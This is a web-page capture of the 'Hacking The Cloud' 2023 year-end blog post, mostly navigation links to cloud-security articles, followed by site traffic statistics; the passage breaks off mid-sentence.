2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6 checked> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=true> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=./ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#numbers class=md-nav__link> <span class=md-ellipsis> Numbers </span> </a> </li> <li class=md-nav__item> <a href=#most-popular-articles class=md-nav__link> <span class=md-ellipsis> Most popular articles </span> </a> </li> <li class=md-nav__item> <a href=#most-popular-social-networks class=md-nav__link> <span class=md-ellipsis> Most popular social networks </span> </a> </li> <li class=md-nav__item> <a href=#thank-you class=md-nav__link> <span class=md-ellipsis> Thank you! </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/blog/2023_wrap-up.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>2023 Wrap-up</h1> <aside style=display:flex> <p><a class=glightbox href="https://avatars.githubusercontent.com/u/10386884?v=4" data-type=image data-width=auto data-height=auto data-desc-position=bottom><img src="https://avatars.githubusercontent.com/u/10386884?v=4" style=width:44px;height:44px;margin:5px;border-radius:100%></a></p> <p><span><strong>Nick Frichette</strong> · @frichette_n · <a href=https://twitter.com/Frichette_n><span class="twemoji twitter"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg></span></a> <a href=https://fosstodon.org/@frichetten><span class="twemoji mastodon"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg></span></a></span> <br> <span> <span class=twemoji><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M6.75 0a.75.75 0 0 1 .75.75V3h9V.75a.75.75 0 0 1 1.5 0V3h2.75c.966 0 1.75.784 1.75 1.75v16a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75v-16C1.5 3.784 2.284 3 3.25 3H6V.75A.75.75 0 0 1 6.75 0M21 9.5H3v11.25c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25Zm-17.75-5a.25.25 0 0 0-.25.25V8h18V4.75a.25.25 0 0 0-.25-.25Z"/></svg></span> December 20, 2023 </span></p> </aside> <hr> <p>2023 is coming to a close and it’s time to look back on the year. This was the third year that Hacking the Cloud has been operating, sharing techniques on attacking and defending cloud environments. We’ve added a number of new articles to the site and updated old ones. With all this in mind, here are some accomplishments for the site this year.</p> <h2 id=numbers>Numbers<a class=headerlink href=#numbers title="Permanent link">&para;</a></h2> <p>Here are some fun stats. All data was pulled ~6PM central, December 19th. In 2023, Hacking the Cloud has:</p> <ul> <li>457 stars gained on GitHub (1389 total)</li> <li>128 commits committed</li> <li>96,031 visits</li> <li>187,542 pageviews</li> <li>8,238 average monthly visitors (excluding December)</li> <li>And a partridge in a pear tree</li> </ul> <p>Compared to 2023, the visitor count has increased 29.9%, pageviews 